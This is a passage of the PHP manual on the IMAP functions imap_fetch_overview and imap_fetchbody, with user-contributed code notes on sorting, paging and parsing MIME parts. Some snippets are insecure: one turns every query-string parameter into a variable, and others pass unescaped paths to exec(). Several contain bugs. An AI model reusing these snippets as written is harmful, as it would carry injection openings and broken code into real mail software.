  • msgno - message sequence number in the mailbox
  • recent - this message is flagged as recent
  • flagged - this message is flagged
  • answered - this message is flagged as answered
  • deleted - this message is flagged for deletion
  • seen - this message is flagged as already read
  • draft - this message is flagged as being a draft

Examples

Example #1 imap_fetch_overview() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password")
     or die("can't connect: " . imap_last_error());

$MC = imap_check($mbox);

// Fetch an overview for all messages in INBOX
$result = imap_fetch_overview($mbox,"1:{$MC->Nmsgs}",0);
foreach ($result as $overview) {
    echo "#{$overview->msgno} ({$overview->date}) - From: {$overview->from}
    {$overview->subject}\n";
}
imap_close($mbox);
?>

See Also

  • imap_fetchheader() - Returns header for a message

User Contributed Notes

jeff at newscloud dot com 13-Jan-2014 12:25
The Remote class here (https://github.com/newscloud/mail_filter/blob/master/app/protected/models/Remote.php) has a lot of examples of processing mailbox folders with imap-fetch-overview:

        $this->open($account_id,$this->path_inbox);
         $recent_messages = @imap_search($this->stream, 'SINCE "'.date("j F Y",$tstamp).'"',SE_UID); // 30 November 2013
         if ($recent_messages===false) continue; // to do - continue into next account
         $result = imap_fetch_overview($this->stream, implode(',',array_slice($recent_messages,0,$message_limit)),FT_UID);
         foreach ($result as $item) {
           $msg = $this->parseHeader($item);
rueda dot raul at gmail dot com 19-Dec-2013 01:52
English:
I've found that for some messages, this function and also function imap_headerinfo(), can't decode the message_id information and returns an ID like "<xxxxxxxxx@unknownmsgid>"

In these cases, I use the following to get the correct messageid:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))

Spanish:
Con algunos mensajes, esta funcion, al igual que la funcion imap_headerinfo(), no pueden decodificar correctamente la información del ID de mensaje y devuelven un ID como este "<xxxxxxxxx@unknownmsgid>"

En esos casos, uso lo siguiente para obtener el ID de mensaje correcto:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))
info at djdb dot be 23-Oct-2012 04:25
If you lost a mail use this
<?php
    public function READallUnreadmail(){
        if ($headers = imap_check($this->msgbox)){
            $lastnr = $headers->Nmsgs;
            if ($mails=imap_fetch_overview($this->msgbox,"1:".$lastnr,0)){
                while (list($key, $val) = each($mails)) {
                   if (++$key>=0&&$header= imap_header($this->msgbox, $key)){
                        if($header->Unseen=='U'||$header->Recent=='R'){
                            echo "<br>".$val->msgno." - ".$val->date." - ".$val->subject."\n<br>";
                            print "IREAD".$header->Msgno;
                            //$this->getattachmentof($header->Msgno);
                        }
                    }
                }
            }
        }
    }
?>
thinice at gmail dot com 07-Apr-2011 02:31
Hopefully someone will find this a jumpstarter for a sortable, paginated list:

<?php
public function listMessages($nStart=0, $nCnt=10) {

    if (!$this->loaded) {
        return NULL;
    }

    if (($nStart+$nCnt) > $this->getNum()) {
        $nCnt = $this->getNum()-$nStart;
    }

    $aMsgs = imap_fetch_overview($this->rCon, ($nStart+1).':'.($nStart+$nCnt));
    $aRet = array();
    if ($aMsgs) {
        foreach ($aMsgs as $msg) {
            $aRet[$msg->udate] = $msg;
        }
    }

    krsort($aRet);

    var_dump($aRet);
}
?>
will 20-Jun-2009 06:43
This seems to retrieve incomplete values for headers, instead of getting the entire value, it gets the first. for example, this is a valid To: header

To: foo1@example.com,foo2@example.com
     foo3@example.com

but imap_fetch_overview will only return:
foo1@example.com
Ben 26-Jan-2009 02:12
Just a quick note, in case anyone else has this trouble.

Remeber that imap_fetch_overview returns an array! So even if you call it for only one message, you'll still need to pick out the first element.

<?php

// fetch overview:
$overview = imap_fetch_overview($handle, $uid, FT_UID);

// echo out, e.g., from field:
echo htmlspecialchars($overview[0]->from);
//                             ^^^ note the index!

?>

It may seem like a stupid error, but I spent a good half hour wondering why it wasn't working until I var_dump'ed $overview.
dognose 16-Jan-2009 06:15
That's right:

calling imap_fetch_overview() once is faster, than calling it
in a loop.

But if you want to get a "day sorted" list, you need to call it in a loop, cause if you enter a "string" of UIDs, they are always sorted by UID, not by the order you entered it.

Heres a little example how to get a date-sorted list:

<?php
/*Sort all msgs by Arrival Date. Newest = 0, oldest = Array Count*/
/*returns an array, containing the UIDs of messages*/
$SortedArray = imap_sort($Handle,SORTARRIVAL,1,SE_UID);

For ($i = $Start; $i< $Start + $Limit; $i++){
      /*Read UID from Sorted Array*/
      $UID = $SortedArray[$i];

      /*Get Detailed MSG Infos*/
      $Overview = imap_fetch_overview($Handle, $UID, FT_UID);

      [...]
}
?>
xhack at web dot de 20-Mar-2007 04:05
you want a sortet list of mails, but you get always the same order? your c-client seems to cause this. i realized this with linux libc6-2.3.6 and php-5.2.0

try this little code:

# here you try to sort by your criteria
$sort=@imap_sort($mbox,SORTDATE,1,SE_UID);

# here the order of the messages to fetch should be recognised, but it isn't

$tmp=@imap_fetch_overview($mbox,implode(',',$sort),FT_UID);
# so try to work around simply:
for($i=0;$i<count($tmp);$i++)
{ $liste[$i]=$tmp[array_search($tmp[$i]->uid,$sort)]; }

so now you can use the sort by date, address, and so on.
raja at aonic dot net 14-Mar-2007 08:22
Here is a function to get messages from IMAP and sort them for pagination.

<?php
    /**
     * Return array of IMAP messages for pagination
     *
     * @param   int     $page       page number to get
     * @param   int     $per_page   number of results per page
     * @param   array   $sort       array('subject', 'asc') etc
     *
     * @return  mixed   array containing imap_fetch_overview, pages, and total rows if successful, false if an error occurred
     * @author  Raja K
     */
    public function listMessages($page = 1, $per_page = 25, $sort = null) {
        $limit = ($per_page * $page);
        $start = ($limit - $per_page) + 1;
        $start = ($start < 1) ? 1 : $start;
        $limit = (($limit - $start) != ($per_page-1)) ? ($start + ($per_page-1)) : $limit;
        $info = imap_check($this->_imap_stream);
        $limit = ($info->Nmsgs < $limit) ? $info->Nmsgs : $limit;

        if(true === is_array($sort)) {
            $sorting = array(
                        'direction' => array(   'asc' => 0,
                                                'desc' => 1),

                        'by'        => array(   'date' => SORTDATE,
                                                'arrival' => SORTARRIVAL,
                                                'from' => SORTFROM,
                                                'subject' => SORTSUBJECT,
                                                'size' => SORTSIZE));
            $by = (true === is_int($by = $sorting['by'][$sort[0]]))
                            ? $by
                            : $sorting['by']['date'];
            $direction = (true === is_int($direction = $sorting['direction'][$sort[1]]))
                            ? $direction
                            : $sorting['direction']['desc'];

            $sorted = imap_sort($this->_imap_stream, $by, $direction);

            $msgs = array_chunk($sorted, $per_page);
            $msgs = $msgs[$page-1];
        }
        else
            $msgs = range($start, $limit); //just to keep it consistent

        $result = imap_fetch_overview($this->_imap_stream, implode($msgs, ','), 0);
        if(false === is_array($result)) return false;

        //sorting!
        if(true === is_array($sorted)) {
            $tmp_result = array();
            foreach($result as $r)
                $tmp_result[$r->msgno] = $r;

            $result = array();
            foreach($msgs as $msgno) {
                $result[] = $tmp_result[$msgno];
            }
        }

        $return = array('res' => $result,
                        'start' => $start,
                        'limit' => $limit,
                        'sorting' => array('by' => $sort[0], 'direction' => $sort[1]),
                        'total' => imap_num_msg($this->_imap_stream));
        $return['pages'] = ceil($return['total'] / $per_page);
        return $return;
    }
?>
Group-Office Developer 10-Apr-2004 02:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch 15-Dec-2003 01:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net 02-Jul-2003 03:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
suurenbroekNoSpam at ov35 dot NoSpam dot nl 14-Oct-2002 01:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru 25-Feb-2002 07:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net 10-Nov-2001 05:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>


Fetch a particular section of the body of the message

  • « imap_fetch_overview
  • imap_fetchheader »
  • PHP Manual
  • IMAP Functions
  • Fetch a particular section of the body of the message

imap_fetchbody

(PHP 4, PHP 5)

imap_fetchbody — Fetch a particular section of the body of the message

Description

string imap_fetchbody ( resource $imap_stream , int $msg_number , string $section [, int $options = 0 ] )

Fetch of a particular section of the body of the specified messages. Body parts are not decoded by this function.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns a particular section of the body of the specified messages as a text string.

See Also

  • imap_savebody() - Save a specific body section to a file
  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

tabaccoandcoffee at gmail dot com 05-Sep-2014 05:01
Sorry for my English.
Rather than quoted_printable_decode, you can use the function imap_qprint ($body)
red dot ender at yahoo dot com 08-Jan-2013 10:29
I had some problems with the german umlauts from a gmail fetched text. I lost an hour trying to find a solution.

Hopefully this helps someone in need :)

<?php
$text = trim( utf8_encode( quoted_printable_decode(
                        imap_fetchbody( $this->inbox, $emailNo, $section ) ) ) );

$section was previously defined:
$section = empty( $attachments ) ? 1 : 1.1;
?>
gesti at gmx dot com 22-Jun-2012 08:10
How to give more then one option in the "options" parameter:
It took me some time to realize how easy it is, so just in case some one else would be puzzled at this point:
<?php
imap_fetchbody($imap_stream, $msg_number, $section, FT_UID | FT_PEEK);
?>
caevan at amkd dot com dot au 01-Jun-2012 11:52
I tried using the function add_part_to_array below and noticed a few errors were thrown. If there are no 'parts' in the structure then if (sizeof($obj->parts) > 0) will throw an error. As well $prefix is not defined here is the code I have updated. I have left the original lines commented out. I have tested reading emails from a gmail account and so far so good.

<?php

// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);

   if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
//        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
    if(array_key_exists('parts',$obj){
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
//            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
            $part_array[] = array('part_number' => $partno.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
//        if (sizeof($obj->parts) > 0) {
                    if(array_key_exists('parts',$obj)){
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 03-Oct-2009 08:32
The previous post contains a copy/paste error and a little added complexity.  The first function should look like this:

<?php
function create_part_array($struct) {
    if (sizeof($struct->parts) > 0) {    // There some sub parts
        foreach ($struct->parts as $count => $part) {
            add_part_to_array($part, ($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => '1', 'part_object' => $struct);
    }
   return $part_array;
}
?>
atamido at gmail dot remove dot com 18-Feb-2009 07:54
imap-fetchbody() will decode attached email messages inline with the rest of the email parts, however the way it works when handling attached email messages is inconsistent with the main email message.

With an email message that only has a text body and does not have any mime attachments, imap-fetchbody() will return the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - Body text

With an email message that is a multi-part message in MIME format, and contains the message text in plain text and HTML, and has a file.ext attachment, imap-fetchbody() will return something like the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - file.ext

Now if you attach the above email to an email with the message text in plain text and HTML, imap_fetchbody() will use this type of part number system:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - MESSAGE/RFC822 (entire attached message)
2.0 - Attached message header
2.1 - TEXT/PLAIN
2.2 - TEXT/HTML
2.3 - file.ext

Note that the file.ext is on the same level now as the plain text and HTML, and that there is no way to access the MULTIPART/ALTERNATIVE in the attached message.

Here is a modified version of some of the code from previous posts that will build an easily accessible array that includes accessible attached message parts and the message body if there aren't multipart mimes.  The $structure variable is the output of the imap_fetchstructure() function.  The returned $part_array has the field 'part_number' which contains the part number to be fed directly into the imap_fetchbody() function.

<?php
function create_part_array($structure, $prefix="") {
    //print_r($structure);
    if (sizeof($structure->parts) > 0) {    // There some sub parts
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => $prefix.'1', 'part_object' => $obj);
    }
   return $part_array;
}
// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
    if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
        //print_r($obj);
        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 02-Feb-2009 08:50
If you download an attachment labeled "winmail.dat" or "win.dat", or with the mime-type of "APPLICATION/MS-TNEF", this is a Microsoft Transport Neutral Encapsulation Format file.  It is a proprietary method for encoding several files together in a single file.  AFAIK only Outlook sends it with its default setting of sending emails in Rich Text Format.

As of PHP 5.2 there is no internal method of breaking apart these attachments.

There are external command line utilities that can be called from PHP.  Alternately, it is possible to decode these files entirely in PHP.  It appears that all current libraries are based on a plugin written by Graham Norbury for Squirrel Mail.  The only ones I've seen are in IlohaMail, Telean, Horde-Imp, and NaSMail.  The only one that I know that will also decode the RTF message is from NaSMail.

To use the NaSMail code, download the "TNEF Attachment Decoder" plugin and extract it to
plugins/attachment_tnef/

Then use this bit of code:
<?php
include_once('plugins/attachment_tnef/constants.php');
include_once('plugins/attachment_tnef/functions.php');
include_once('plugins/attachment_tnef/class/tnef.php');

// $tnef is a binary variable containing only the contents of winmail.dat
$attachment = &new TnefAttachment($tnef_debug);
$result = $attachment->decodeTnef($tnef);
$tnef_files = &$attachment->getFilesNested();
print_r($tnef_files); // See the format of the returned array
?>
fortega dot no spam plz at uamericas dot net 24-Apr-2008 10:37
To fetch the body of a "sub part" do the following thing:
<?php
$partno = "2.1"   // The first part of the second part

print_r(imap_fetchbody($mbox, $msgno, $partno));
// TODO: replace print_r for the proper function
?>

And remember... you can fetch the structure with
<?php
imap_fetchstructure($mbox, $msgno);
?>
then iterate the array of parts fetching the body.
anonymous lazy person 22-Mar-2008 05:51
Expanding on a comment below about using munpack to extract attachments, here's a lazy person's function that extracts attachments from mail with $msg_number from $mailbox and writes them to $dir. It returns an array of filenames or false if there are no attachments.

function writeAttachmentsToDisk($mailbox, $msg_number, $dir){

  if (!file_exists($dir)){
    mkdir($dir);
  }
  $filename = "tmp.eml";
  $email_file = $dir."/".$filename;
  // write the message body to disk
  imap_savebody  ($mailbox, $email_file, $msg_number);
  $command = "munpack -C $dir -fq $email_file";
  // invoke munpack which will
  // write all the attachments to $dir
  exec($command,$output);

  // if($output[0]!='Did not find anything to unpack from $filename') {
  $found_file = false;
  foreach ($output as $attach) {
    $pieces = explode(" ", $attach);
    $part = $pieces[0];
    if (file_exists($dir.$part)){
      $found_file = true;
      $files[] = $part;
    }
  }
  if (!$found_file){
    //echo ("\nMail.php : no files found - cleaning up. ");
    // didn't find any output files - delete the directory and email file
    unlink($email_file);
    rmdir($dir);
    return false;
  }
  else {
    // found some files-  just delete the email file
    unlink($email_file);
    return $files;
  }
}
tom at tomwardrop dot com 13-Mar-2008 08:08
If text has been encoded as quoted-printable (most body text is encoded as this), it must be decoded for it to be displayed correctly (without '=', '=20' and other strange text chunks all through the string).

To decode, you can use the following built-in php function...

quoted_printable_decode($string)

Hopefully I've just saved a few people from having to do a preg_replace on there email bodies.
bryn 11-Jan-2008 08:58
An alternative to munpack for rfc822 messages is ripmime http://www.pldaniels.com/ripmime/

It lets you pass it the rfc822 attachment (usually something.eml) and it recursively writes out attachments (and text and html files)
ted at qtis dot co dot nz 18-Aug-2007 10:02
Here's simple way of extending Makusnospam's little routine to flatten the entire message into an array which can be useful to quickly find the body and attachments just by walking through the array elements.

function create_part_array($structure, $prefix="") {
   $part_array = array();

    if (sizeof($structure->parts) > 0) {
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }

   return $part_array;
}

function add_part_to_array($obj, $partno, & $part_array) {

    if ($obj->type == TYPEMESSAGE) {
        parse_message($obj->parts[0], $partno.".");
    }
    else {
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }

    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
}
phpnetlover at yoz dot us 20-Apr-2007 07:15
Hi everyone

I have been inspecting the RFC's and the answer to what to display is not like Musawir Ali in 2 areas

1- You can not rely on disposition being present, not all mail software composes mail to standard, and if you would just take a quick look at the RFC's you will find out that someone can send you email where your solution will fail even though the mail is "within standards"

2- When you are presented with Alternative-multipart, assuming you will find one text-plain and one text-html, you should NOT be looking for HTML then TEXT, the last mentioned subtype is the most loyal to the original composition, you check if you can support the last, if not you simply go one step back and see the one before it, if your client supports it, you take that, and so on, this is how Alternative works, Just because HTML is best colored does not mean we should chose that, we are looking for the closest representation of the original and not for any in specific
anonymous at coward dot village 22-Feb-2007 08:08
A very easy way to handle attachments is just using munpack, with a subdirectory called attachments chmod it to 777 and then use the following bit of code (with mpack installed) on the MIME encoded body:

<?php
//email MIME body in $input
file_put_contents("attachments/body.eml",$input);
$command = "munpack -C attachments -fq body.eml";
exec($command,$output);
if($output[0]!='Did not find anything to unpack from body.eml') {
    foreach ($output as $attach) {
        $pieces = explode(" ", $attach);
        $part = $pieces[0];
        echo "<a href=\"attachments/$part\">$part</a><br>";
        }
    }
?>
web at i-ps dot net 05-Feb-2007 07:35
I had an issue with the content that was returned by imap_fetchbody - either the function itself, or the mail-server, was inserting "=\r\n" at points into the text body returned. This may depend upon the content type (i.e. plain text / csv, as opposed to something like a Word document), but you may need to do something like:

$body = preg_replace("/=(\r?)\n/", '', imap_fetchbody($mailbox, $message, $part));
jbr at ya-right dot com 15-Dec-2006 05:38
Musawir Ali comment is not totally correct, ifdisposition= 1 will never tell you 100% if there is an attachment. You must look at (ifdparameters, ifparameters) if (1) of them is greater then (0), then you need to look inside (parameters), looking at each ($obj->parameters) and check the (attribute) for (NAME, FILENAME), also be sure to set them to upper or lower case before doing your testing. That's the only way to know if you have an attachment. inline attachments will have $obj->ifid equal to 1, the $obj->id will contain the (cid). If $obj->ifid equals 0 then it's also an attachment (file type) if you have (NAME, FILENAME) as the current parameters (attribute).

<?php
        $name = '';

        if ( $parent->ifdparameters && sizeof ( $parent->dparameters ) > 0 )
        {
            foreach ( $parent->dparameters as $child )
            {
                if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                {
                    $name = strtolower ( $child->value );
                }
            }
        }

        if ( empty ( $name ) )
        {
            if ( $parent->ifparameters && sizeof ( $parent->parameters ) > 0 )
            {
                foreach ( $parent->parameters as $child )
                {
                    if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                    {
                        $name = strtolower ( $child->value );
                    }
                }
            }
        }
?>

$parent is derived from imap_fetchstructure(), as a child object if $obj->parts is set or as the $parent if $obj->parts is not set!
Musawir Ali 13-Jul-2006 07:04
For those of you trying to create a "flexible" email reader, I suggest doing the following.

Firstly, instead of going through each part of the email and decoding it, I suggest you go in a specific order.

1) First go through all the parts and search for the part that has subtype=='HTML'. If found, use that as your message body, else go to Step 2.
2) If HTML component not found, search all parts for subtype=='PLAIN'. If found, use that as your message body else print out an error message (this should never occur).
3) At this point, you already have the main body of the email that you should display. The next thing to do is to find all the attachments. You do this by going through all parts, searching for the parts with ifdisposition==1 (there can be multiple).

This is the way I did my email reader program and it works perfectly. I started off by using the methods recommended in a lot of webpages (i.e. going through the parts tree like 1.2.1, 1, 2, etc) but the problem is the message body is never in some fixed part! Sometimes its in 1, somtimes 1.1.2, sometimes 2, and sometimes in some totally unexpected place! So my approach was to "search" for the parts that I'm interested. Hope this helps. I also managed to crack the problem with emails containing embedded images. I will probably write a tutorial on that soon.
se at designlinks dot net 03-Mar-2005 12:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
guru at php dot net 04-Oct-2004 05:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam 28-Sep-2004 08:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
    1 multipart/alternative
        1.1 text/plain
        1.2 text/html
    2 message/rfc822
        2 multipart/mixed
            2.1 multipart/alternative
                2.1.1 text/plain
                2.1.2 text/html
            2.2 message/rfc822
                2.2 multipart/alternative
                    2.2.1 text/plain
                    2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com 06-Sep-2004 02:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =   $header->fromaddress;
   $message['toaddress'] =   $header->toaddress;
   $message['ccaddress'] =   $header->ccaddress;
   $message['date'] =   $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
    {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
    }
 else
    {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
    }
}
noose (at) nospam (dot) tweak (dot) pl 20-Jun-2004 01:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
    $type = "text/";
}
elseif ($type == 1)
{
    $type = "multipart/";
}
elseif ($type == 2)
{
    $type = "message/";
}
elseif ($type == 3)
{
    $type = "application/";
}
elseif ($type == 4)
{
    $type = "audio/";
}
elseif ($type == 5)
{
    $type = "image/";
}
elseif ($type == 6)
{
    $type = "video";
}
elseif($type == 7)
{
    $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
    $message = imap_7bit($message);
}
elseif ($coding == 1)
{
    $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
    $message = imap_binary($message);
}
elseif ($coding == 3)
{
    $message = imap_base64($message);
}
elseif ($coding == 4)
{
    $message = quoted_printable($message);
}
elseif ($coding == 5)
{
    $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com 24-May-2004 10:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito 24-May-2004 01:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

    if($subkey!=0){
    $pid = $subkey.".".($key+1); }
    else { $pid = ($key+1); }

    $ret_info[]['pid'] = $pid;
    $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
    $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

    next($ret_info);

    if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
    print_r($struct);
    echo("<hr>");
    $ret_info[]['pid']=1;
    $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
    $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz 05-Apr-2004 12:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com 30-Aug-2003 11:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
